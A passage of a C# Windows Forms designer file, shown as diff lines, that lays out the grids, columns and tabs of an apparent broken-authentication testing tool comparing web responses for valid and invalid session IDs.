SelectCandidatesBotttomSplit.Panel1 + // + this.SelectCandidatesBotttomSplit.Panel1.Controls.Add(this.FilterTree); + // + // SelectCandidatesBotttomSplit.Panel2 + // + this.SelectCandidatesBotttomSplit.Panel2.Controls.Add(this.SplitContainerLogsSplit); + this.SelectCandidatesBotttomSplit.Size = new System.Drawing.Size(870, 454); + this.SelectCandidatesBotttomSplit.SplitterDistance = 296; + this.SelectCandidatesBotttomSplit.TabIndex = 0; + // + // FilterTree + // + this.FilterTree.BackColor = System.Drawing.Color.White; + this.FilterTree.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.FilterTree.CheckBoxes = true; + this.FilterTree.Dock = System.Windows.Forms.DockStyle.Fill; + this.FilterTree.Font = new System.Drawing.Font("Microsoft Sans Serif", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FilterTree.Location = new System.Drawing.Point(0, 0); + this.FilterTree.Margin = new System.Windows.Forms.Padding(0); + this.FilterTree.Name = "FilterTree"; + this.FilterTree.ShowRootLines = false; + this.FilterTree.Size = new System.Drawing.Size(294, 452); + this.FilterTree.TabIndex = 32; + this.FilterTree.BeforeCheck += new System.Windows.Forms.TreeViewCancelEventHandler(this.FilterTree_BeforeCheck); + this.FilterTree.AfterCheck += new System.Windows.Forms.TreeViewEventHandler(this.FilterTree_AfterCheck); + this.FilterTree.BeforeCollapse += new System.Windows.Forms.TreeViewCancelEventHandler(this.FilterTree_BeforeCollapse); + // + // SplitContainerLogsSplit + // + this.SplitContainerLogsSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.SplitContainerLogsSplit.Location = new System.Drawing.Point(0, 0); + this.SplitContainerLogsSplit.Name = "SplitContainerLogsSplit"; + this.SplitContainerLogsSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // SplitContainerLogsSplit.Panel1 + // + this.SplitContainerLogsSplit.Panel1.Controls.Add(this.CandidatesGrid); + // + // SplitContainerLogsSplit.Panel2 + // + this.SplitContainerLogsSplit.Panel2.Controls.Add(this.SessView); + this.SplitContainerLogsSplit.Size = new System.Drawing.Size(568, 452); + this.SplitContainerLogsSplit.SplitterDistance = 216; + this.SplitContainerLogsSplit.TabIndex = 0; + // + // CandidatesGrid + // + this.CandidatesGrid.AllowUserToAddRows = false; + this.CandidatesGrid.AllowUserToDeleteRows = false; + this.CandidatesGrid.AllowUserToOrderColumns = true; + this.CandidatesGrid.AllowUserToResizeRows = false; + this.CandidatesGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.CandidatesGrid.BackgroundColor = System.Drawing.Color.White; + this.CandidatesGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle4.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle4.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle4.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle4.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle4.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.CandidatesGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle4; + this.CandidatesGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.CandidatesGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.SelectClmn, + this.dataGridViewTextBoxColumn2, + this.HostNameSelectClmn, + this.MethodClmn, + this.URLClmn, + this.FileClmn, + this.SSLClmn, + this.ParametersClmn, + this.CodeClmn, + this.LengthClmn, + this.ClmnMIME, + this.SetCookieClmn, + this.NotesClmn}); + dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle5.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle5.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle5.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle5.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle5.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle5.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.CandidatesGrid.DefaultCellStyle = dataGridViewCellStyle5; + this.CandidatesGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.CandidatesGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.CandidatesGrid.GridColor = System.Drawing.Color.White; + this.CandidatesGrid.Location = new System.Drawing.Point(0, 0); + this.CandidatesGrid.Margin = new System.Windows.Forms.Padding(0); + this.CandidatesGrid.MultiSelect = false; + this.CandidatesGrid.Name = "CandidatesGrid"; + this.CandidatesGrid.ReadOnly = true; + dataGridViewCellStyle6.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle6.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle6.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle6.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle6.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle6.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle6.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.CandidatesGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle6; + this.CandidatesGrid.RowHeadersVisible = false; + this.CandidatesGrid.RowHeadersWidth = 10; + this.CandidatesGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.CandidatesGrid.Size = new System.Drawing.Size(568, 216); + this.CandidatesGrid.TabIndex = 5; + this.CandidatesGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.CandidatesGrid_CellClick); + this.CandidatesGrid.SelectionChanged += new System.EventHandler(this.CandidatesGrid_SelectionChanged); + // + // SelectClmn + // + this.SelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SelectClmn.HeaderText = "SELECT"; + this.SelectClmn.Name = "SelectClmn"; + this.SelectClmn.ReadOnly = true; + this.SelectClmn.Resizable = System.Windows.Forms.DataGridViewTriState.True; + this.SelectClmn.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; + this.SelectClmn.Width = 60; + // + // dataGridViewTextBoxColumn2 + // + this.dataGridViewTextBoxColumn2.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.dataGridViewTextBoxColumn2.HeaderText = "ID"; + this.dataGridViewTextBoxColumn2.MinimumWidth = 50; + this.dataGridViewTextBoxColumn2.Name = "dataGridViewTextBoxColumn2"; + this.dataGridViewTextBoxColumn2.ReadOnly = true; + this.dataGridViewTextBoxColumn2.Width = 50; + // + // HostNameSelectClmn + // + this.HostNameSelectClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.HostNameSelectClmn.HeaderText = "HOSTNAME"; + this.HostNameSelectClmn.Name = "HostNameSelectClmn"; + this.HostNameSelectClmn.ReadOnly = true; + this.HostNameSelectClmn.Width = 120; + // + // MethodClmn + // + this.MethodClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.MethodClmn.HeaderText = "METHOD"; + this.MethodClmn.Name = "MethodClmn"; + this.MethodClmn.ReadOnly = true; + this.MethodClmn.Width = 60; + // + // URLClmn + // + this.URLClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.URLClmn.HeaderText = "URL"; + this.URLClmn.MinimumWidth = 150; + this.URLClmn.Name = "URLClmn"; + this.URLClmn.ReadOnly = true; + // + // FileClmn + // + this.FileClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.FileClmn.HeaderText = "FILE"; + this.FileClmn.Name = "FileClmn"; + this.FileClmn.ReadOnly = true; + this.FileClmn.Width = 40; + // + // SSLClmn + // + this.SSLClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SSLClmn.HeaderText = "SSL"; + this.SSLClmn.Name = "SSLClmn"; + this.SSLClmn.ReadOnly = true; + this.SSLClmn.Width = 30; + // + // ParametersClmn + // + this.ParametersClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ParametersClmn.HeaderText = "PARAMETERS"; + this.ParametersClmn.Name = "ParametersClmn"; + this.ParametersClmn.ReadOnly = true; + this.ParametersClmn.Visible = false; + this.ParametersClmn.Width = 85; + // + // CodeClmn + // + this.CodeClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.CodeClmn.HeaderText = "CODE"; + this.CodeClmn.Name = "CodeClmn"; + this.CodeClmn.ReadOnly = true; + this.CodeClmn.Width = 45; + // + // LengthClmn + // + this.LengthClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.LengthClmn.HeaderText = "LENGTH"; + this.LengthClmn.Name = "LengthClmn"; + this.LengthClmn.ReadOnly = true; + this.LengthClmn.Visible = false; + this.LengthClmn.Width = 55; + // + // ClmnMIME + // + this.ClmnMIME.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.ClmnMIME.HeaderText = "MIME"; + this.ClmnMIME.Name = "ClmnMIME"; + this.ClmnMIME.ReadOnly = true; + this.ClmnMIME.Visible = false; + this.ClmnMIME.Width = 60; + // + // SetCookieClmn + // + this.SetCookieClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.SetCookieClmn.HeaderText = "SET-COOKIE"; + this.SetCookieClmn.Name = "SetCookieClmn"; + this.SetCookieClmn.ReadOnly = true; + this.SetCookieClmn.Visible = false; + this.SetCookieClmn.Width = 80; + // + // NotesClmn + // + this.NotesClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.NotesClmn.HeaderText = "NOTES"; + this.NotesClmn.Name = "NotesClmn"; + this.NotesClmn.ReadOnly = true; + this.NotesClmn.Visible = false; + this.NotesClmn.Width = 80; + // + // tabPage3 + // + this.tabPage3.BackColor = System.Drawing.Color.White; + this.tabPage3.Controls.Add(this.ResultsBaseSplit); + this.tabPage3.Location = new System.Drawing.Point(4, 25); + this.tabPage3.Name = "tabPage3"; + this.tabPage3.Size = new System.Drawing.Size(876, 532); + this.tabPage3.TabIndex = 2; + this.tabPage3.Text = " Results "; + // + // ResultsBaseSplit + // + this.ResultsBaseSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsBaseSplit.Location = new System.Drawing.Point(0, 0); + this.ResultsBaseSplit.Name = "ResultsBaseSplit"; + this.ResultsBaseSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ResultsBaseSplit.Panel1 + // + this.ResultsBaseSplit.Panel1.Controls.Add(this.ResultsTopSplit); + // + // ResultsBaseSplit.Panel2 + // + this.ResultsBaseSplit.Panel2.Controls.Add(this.ResultsBottomTabs); + this.ResultsBaseSplit.Size = new System.Drawing.Size(876, 532); + this.ResultsBaseSplit.SplitterDistance = 292; + this.ResultsBaseSplit.TabIndex = 0; + // + // ResultsTopSplit + // + this.ResultsTopSplit.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsTopSplit.FixedPanel = System.Windows.Forms.FixedPanel.Panel1; + this.ResultsTopSplit.Location = new System.Drawing.Point(0, 0); + this.ResultsTopSplit.Name = "ResultsTopSplit"; + this.ResultsTopSplit.Orientation = System.Windows.Forms.Orientation.Horizontal; + // + // ResultsTopSplit.Panel1 + // + this.ResultsTopSplit.Panel1.Controls.Add(this.ResultsStepProgressBar); + this.ResultsTopSplit.Panel1.Controls.Add(this.label4); + // + // ResultsTopSplit.Panel2 + // + this.ResultsTopSplit.Panel2.Controls.Add(this.ResultsGrid); + this.ResultsTopSplit.Size = new System.Drawing.Size(876, 292); + this.ResultsTopSplit.SplitterDistance = 58; + this.ResultsTopSplit.TabIndex = 38; + // + // ResultsStepProgressBar + // + this.ResultsStepProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.ResultsStepProgressBar.Location = new System.Drawing.Point(80, 8); + this.ResultsStepProgressBar.Name = "ResultsStepProgressBar"; + this.ResultsStepProgressBar.Size = new System.Drawing.Size(720, 23); + this.ResultsStepProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.ResultsStepProgressBar.TabIndex = 7; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.Location = new System.Drawing.Point(42, 38); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(793, 13); + this.label4.TabIndex = 37; + this.label4.Text = "The entries that have a low percentage of difference indicate that the server ret" + + "urns the same content even when the Session ID is invalid so they could be vulne" + + "rable."; + // + // ResultsGrid + // + this.ResultsGrid.AllowUserToAddRows = false; + this.ResultsGrid.AllowUserToDeleteRows = false; + this.ResultsGrid.AllowUserToOrderColumns = true; + this.ResultsGrid.AllowUserToResizeRows = false; + this.ResultsGrid.AutoSizeColumnsMode = System.Windows.Forms.DataGridViewAutoSizeColumnsMode.Fill; + this.ResultsGrid.BackgroundColor = System.Drawing.Color.White; + this.ResultsGrid.BorderStyle = System.Windows.Forms.BorderStyle.None; + dataGridViewCellStyle7.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleCenter; + dataGridViewCellStyle7.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle7.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle7.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle7.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle7.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle7.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ResultsGrid.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle7; + this.ResultsGrid.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.DisableResizing; + this.ResultsGrid.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.IDClmn, + this.HostNameClmn, + this.TestedUrlClmn, + this.TestIdClmn, + this.OriginalVsTestClmn, + this.OriginalRequestBinaryStringClmn, + this.OriginalResponseBinaryStringClmn, + this.TestRequestBinaryStringClmn, + this.TestResponseBinaryStringClmn}); + dataGridViewCellStyle8.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle8.BackColor = System.Drawing.SystemColors.Window; + dataGridViewCellStyle8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle8.ForeColor = System.Drawing.SystemColors.ControlText; + dataGridViewCellStyle8.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle8.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle8.WrapMode = System.Windows.Forms.DataGridViewTriState.False; + this.ResultsGrid.DefaultCellStyle = dataGridViewCellStyle8; + this.ResultsGrid.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsGrid.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.ResultsGrid.GridColor = System.Drawing.Color.White; + this.ResultsGrid.Location = new System.Drawing.Point(0, 0); + this.ResultsGrid.Margin = new System.Windows.Forms.Padding(0); + this.ResultsGrid.MultiSelect = false; + this.ResultsGrid.Name = "ResultsGrid"; + this.ResultsGrid.ReadOnly = true; + dataGridViewCellStyle9.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle9.BackColor = System.Drawing.SystemColors.Control; + dataGridViewCellStyle9.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + dataGridViewCellStyle9.ForeColor = System.Drawing.SystemColors.WindowText; + dataGridViewCellStyle9.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle9.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle9.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.ResultsGrid.RowHeadersDefaultCellStyle = dataGridViewCellStyle9; + this.ResultsGrid.RowHeadersVisible = false; + this.ResultsGrid.RowHeadersWidth = 10; + this.ResultsGrid.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.ResultsGrid.Size = new System.Drawing.Size(876, 230); + this.ResultsGrid.TabIndex = 6; + this.ResultsGrid.CellClick += new System.Windows.Forms.DataGridViewCellEventHandler(this.ResultsGrid_CellClick); + this.ResultsGrid.SelectionChanged += new System.EventHandler(this.ResultsGrid_SelectionChanged); + // + // IDClmn + // + this.IDClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.None; + this.IDClmn.HeaderText = "ID"; + this.IDClmn.MinimumWidth = 50; + this.IDClmn.Name = "IDClmn"; + this.IDClmn.ReadOnly = true; + this.IDClmn.Width = 50; + // + // HostNameClmn + // + this.HostNameClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.HostNameClmn.FillWeight = 35.96939F; + this.HostNameClmn.HeaderText = "HostName"; + this.HostNameClmn.Name = "HostNameClmn"; + this.HostNameClmn.ReadOnly = true; + this.HostNameClmn.Width = 82; + // + // TestedUrlClmn + // + this.TestedUrlClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; + this.TestedUrlClmn.FillWeight = 35.96939F; + this.TestedUrlClmn.HeaderText = "URL"; + this.TestedUrlClmn.Name = "TestedUrlClmn"; + this.TestedUrlClmn.ReadOnly = true; + // + // TestIdClmn + // + this.TestIdClmn.HeaderText = "Test ID"; + this.TestIdClmn.Name = "TestIdClmn"; + this.TestIdClmn.ReadOnly = true; + this.TestIdClmn.Visible = false; + // + // OriginalVsTestClmn + // + this.OriginalVsTestClmn.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells; + this.OriginalVsTestClmn.FillWeight = 35.96939F; + this.OriginalVsTestClmn.HeaderText = "Percentage of Difference in Response due to Invalid Session ID"; + this.OriginalVsTestClmn.Name = "OriginalVsTestClmn"; + this.OriginalVsTestClmn.ReadOnly = true; + this.OriginalVsTestClmn.Width = 334; + // + // OriginalRequestBinaryStringClmn + // + this.OriginalRequestBinaryStringClmn.HeaderText = "OriginalRequestBinaryString"; + this.OriginalRequestBinaryStringClmn.Name = "OriginalRequestBinaryStringClmn"; + this.OriginalRequestBinaryStringClmn.ReadOnly = true; + this.OriginalRequestBinaryStringClmn.Visible = false; + // + // OriginalResponseBinaryStringClmn + // + this.OriginalResponseBinaryStringClmn.HeaderText = "OriginalResponseBinaryString"; + this.OriginalResponseBinaryStringClmn.Name = "OriginalResponseBinaryStringClmn"; + this.OriginalResponseBinaryStringClmn.ReadOnly = true; + this.OriginalResponseBinaryStringClmn.Visible = false; + // + // TestRequestBinaryStringClmn + // + this.TestRequestBinaryStringClmn.HeaderText = "TestRequestBinaryString"; + this.TestRequestBinaryStringClmn.Name = "TestRequestBinaryStringClmn"; + this.TestRequestBinaryStringClmn.ReadOnly = true; + this.TestRequestBinaryStringClmn.Visible = false; + // + // TestResponseBinaryStringClmn + // + this.TestResponseBinaryStringClmn.HeaderText = "TestResponseBinaryString"; + this.TestResponseBinaryStringClmn.Name = "TestResponseBinaryStringClmn"; + this.TestResponseBinaryStringClmn.ReadOnly = true; + this.TestResponseBinaryStringClmn.Visible = false; + // + // ResultsBottomTabs + // + this.ResultsBottomTabs.Controls.Add(this.tabPage11); + this.ResultsBottomTabs.Controls.Add(this.tabPage4); + this.ResultsBottomTabs.Controls.Add(this.tabPage7); + this.ResultsBottomTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.ResultsBottomTabs.Location = new System.Drawing.Point(0, 0); + this.ResultsBottomTabs.Margin = new System.Windows.Forms.Padding(0); + this.ResultsBottomTabs.Multiline = true; + this.ResultsBottomTabs.Name = "ResultsBottomTabs"; + this.ResultsBottomTabs.Padding = new System.Drawing.Point(0, 0); + this.ResultsBottomTabs.SelectedIndex = 0; + this.ResultsBottomTabs.Size = new System.Drawing.Size(876, 236); + this.ResultsBottomTabs.TabIndex = 4; + // + // tabPage11 + // + this.tabPage11.Controls.Add(this.tabControl5); + this.tabPage11.Location = new System.Drawing.Point(4, 22); + this.tabPage11.Name = "tabPage11"; + this.tabPage11.Size = new System.Drawing.Size(868, 210); + this.tabPage11.TabIndex = 5; + this.tabPage11.Text = " Difference due to Invalid Session ID"; + this.tabPage11.UseVisualStyleBackColor = true; + // + // tabControl5 + // + this.tabControl5.Controls.Add(this.tabPage22); + this.tabControl5.Controls.Add(this.tabPage19); + this.tabControl5.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl5.Location = new System.Drawing.Point(0, 0); + this.tabControl5.Margin = new System.Windows.Forms.Padding(0); + this.tabControl5.Name = "tabControl5"; + this.tabControl5.Padding = new System.Drawing.Point(0, 0); + this.tabControl5.SelectedIndex = 0; + this.tabControl5.Size = new System.Drawing.Size(868, 210); + this.tabControl5.TabIndex = 5; + // + // tabPage22 + // + this.tabPage22.Controls.Add(this.OriginalVsTestResponseDRV); + this.tabPage22.Location = new System.Drawing.Point(4, 22); + this.tabPage22.Margin = new System.Windows.Forms.Padding(0); + this.tabPage22.Name = "tabPage22"; + this.tabPage22.Size = new System.Drawing.Size(860, 184); + this.tabPage22.TabIndex = 1; + this.tabPage22.Text = " Difference in Responses "; + this.tabPage22.UseVisualStyleBackColor = true; + // + // tabPage19 + // + this.tabPage19.Controls.Add(this.OriginalVsTestRequestDRV); + this.tabPage19.Location = new System.Drawing.Point(4, 22); + this.tabPage19.Margin = new System.Windows.Forms.Padding(0); + this.tabPage19.Name = "tabPage19"; + this.tabPage19.Size = new System.Drawing.Size(860, 184); + this.tabPage19.TabIndex = 0; + this.tabPage19.Text = " Difference in Request "; + this.tabPage19.UseVisualStyleBackColor = true; + // + // tabPage4 + // + this.tabPage4.Controls.Add(this.tabControl3); + this.tabPage4.Location = new System.Drawing.Point(4, 22); + this.tabPage4.Name = "tabPage4"; + this.tabPage4.Size = new System.Drawing.Size(868, 210); + this.tabPage4.TabIndex = 2; + this.tabPage4.Text = " Invalid Session Request/Response "; + this.tabPage4.UseVisualStyleBackColor = true; + // + // tabControl3 + // + this.tabControl3.Controls.Add(this.tabPage16); + this.tabControl3.Controls.Add(this.tabPage15); + this.tabControl3.Dock = System.Windows.Forms.DockStyle.Fill; + this.tabControl3.Location = new System.Drawing.Point(0, 0); + this.tabControl3.Margin = new System.Windows.Forms.Padding(0); + this.tabControl3.Name = "tabControl3"; + this.tabControl3.Padding = new System.Drawing.Point(0, 0); + this.tabControl3.SelectedIndex = 0; + this.tabControl3.Size = new System.Drawing.Size(868, 210); + this.tabControl3.TabIndex = 3; + // + // tabPage16 + // + this.tabPage16.Controls.Add(this.TestResponseView); + this.tabPage16.Location = new System.Drawing.Point(4, 22); + this.tabPage16.Margin = new System.Windows.Forms.Padding(0); + this.tabPage16.Name = "tabPage16"; + this.tabPage16.Size = new System.Drawing.Size(860, 184); + this.tabPage16.TabIndex = 1; + this.tabPage16.Text = " Response "; + this.tabPage16.UseVisualStyleBackColor = true; + // + // tabPage15 + // + this.tabPage15.Controls.Add(this.TestRequestView); + this.tabPage15.Location = new System.Drawing.Point(4, 22); + this.tabPage15.Margin = new System.Windows.Forms.Padding(0); + this.tabPage15.Name = "tabPage15"; + this.tabPage15.Size = new System.Drawing.Size(860, 184); + this.tabPage15.TabIndex = 0; + this.tabPage15.Text = " Request "; + this.tabPage15.UseVisualStyleBackColor = true; + // + // tabPage7 + // + this.tabPage7.BackColor = System.Drawing.Color.White; + this.tabPage7.Controls.Add(this.LogDisplayTabs); + this.tabPage7.Location = new System.Drawing.Point(4, 22); + this.tabPage7.Margin = new System.Windows.Forms.Padding(0); + this.tabPage7.Name = "tabPage7"; + this.tabPage7.Size = new System.Drawing.Size(868, 210); + this.tabPage7.TabIndex = 0; + this.tabPage7.Text = " Valid Session Request/Response "; + // + // LogDisplayTabs + // + this.LogDisplayTabs.Controls.Add(this.tabPage29); + this.LogDisplayTabs.Controls.Add(this.tabPage12); + this.LogDisplayTabs.Dock = System.Windows.Forms.DockStyle.Fill; + this.LogDisplayTabs.Location = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.Margin = new System.Windows.Forms.Padding(0); + this.LogDisplayTabs.Name = "LogDisplayTabs"; + this.LogDisplayTabs.Padding = new System.Drawing.Point(0, 0); + this.LogDisplayTabs.SelectedIndex = 0; + this.LogDisplayTabs.Size = new System.Drawing.Size(868, 210); + this.LogDisplayTabs.TabIndex = 3; + // + // tabPage29 + // + this.tabPage29.Controls.Add(this.OriginalResponseView); + this.tabPage29.Location = new System.Drawing.Point(4, 22); + this.tabPage29.Margin = new System.Windows.Forms.Padding(0); + this.tabPage29.Name = "tabPage29"; + this.tabPage29.Size = new System.Drawing.Size(860, 184); + this.tabPage29.TabIndex = 1; + this.tabPage29.Text = " Response "; + this.tabPage29.UseVisualStyleBackColor = true; + // + // tabPage12 + // + this.tabPage12.Controls.Add(this.OriginalRequestView); + this.tabPage12.Location = new System.Drawing.Point(4, 22); + this.tabPage12.Margin = new System.Windows.Forms.Padding(0); + this.tabPage12.Name = "tabPage12"; + this.tabPage12.Size = new System.Drawing.Size(860, 184); + this.tabPage12.TabIndex = 0; + this.tabPage12.Text = " Request "; + this.tabPage12.UseVisualStyleBackColor = true; + // + // SessView + // + this.SessView.Dock = System.Windows.Forms.DockStyle.Fill; + this.SessView.Location = new System.Drawing.Point(0, 0); + this.SessView.Name = "SessView"; + this.SessView.Size = new System.Drawing.Size(568, 232); + this.SessView.TabIndex = 1; + // + // OriginalVsTestResponseDRV + // + this.OriginalVsTestResponseDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalVsTestResponseDRV.Location = new System.Drawing.Point(0, 0); + this.OriginalVsTestResponseDRV.Margin = new System.Windows.Forms.Padding(0); + this.OriginalVsTestResponseDRV.Name = "OriginalVsTestResponseDRV"; + this.OriginalVsTestResponseDRV.Size = new System.Drawing.Size(860, 184); + this.OriginalVsTestResponseDRV.TabIndex = 1; + // + // OriginalVsTestRequestDRV + // + this.OriginalVsTestRequestDRV.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalVsTestRequestDRV.Location = new System.Drawing.Point(0, 0); + this.OriginalVsTestRequestDRV.Margin = new System.Windows.Forms.Padding(0); + this.OriginalVsTestRequestDRV.Name = "OriginalVsTestRequestDRV"; + this.OriginalVsTestRequestDRV.Size = new System.Drawing.Size(860, 184); + this.OriginalVsTestRequestDRV.TabIndex = 0; + // + // TestResponseView + // + this.TestResponseView.BackColor = System.Drawing.Color.White; + this.TestResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestResponseView.IncludeReflectionTab = true; + this.TestResponseView.Location = new System.Drawing.Point(0, 0); + this.TestResponseView.Margin = new System.Windows.Forms.Padding(0); + this.TestResponseView.Name = "TestResponseView"; + this.TestResponseView.ReadOnly = true; + this.TestResponseView.Size = new System.Drawing.Size(860, 184); + this.TestResponseView.TabIndex = 0; + // + // TestRequestView + // + this.TestRequestView.BackColor = System.Drawing.Color.White; + this.TestRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.TestRequestView.Location = new System.Drawing.Point(0, 0); + this.TestRequestView.Margin = new System.Windows.Forms.Padding(0); + this.TestRequestView.Name = "TestRequestView"; + this.TestRequestView.ReadOnly = true; + this.TestRequestView.Size = new System.Drawing.Size(176, 0); + this.TestRequestView.TabIndex = 0; + // + // OriginalResponseView + // + this.OriginalResponseView.BackColor = System.Drawing.Color.White; + this.OriginalResponseView.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalResponseView.IncludeReflectionTab = true; + this.OriginalResponseView.Location = new System.Drawing.Point(0, 0); + this.OriginalResponseView.Margin = new System.Windows.Forms.Padding(0); + this.OriginalResponseView.Name = "OriginalResponseView"; + this.OriginalResponseView.ReadOnly = true; + this.OriginalResponseView.Size = new System.Drawing.Size(860, 184); + this.OriginalResponseView.TabIndex = 0; + // + // OriginalRequestView + // + this.OriginalRequestView.BackColor = System.Drawing.Color.White; + this.OriginalRequestView.Dock = System.Windows.Forms.DockStyle.Fill; + this.OriginalRequestView.Location = new System.Drawing.Point(0, 0); + this.OriginalRequestView.Margin = new System.Windows.Forms.Padding(0); + this.OriginalRequestView.Name = "OriginalRequestView"; + this.OriginalRequestView.ReadOnly = true; + this.OriginalRequestView.Size = new System.Drawing.Size(176, 0); + this.OriginalRequestView.TabIndex = 0; + // + // BrokenAuthTester + // + 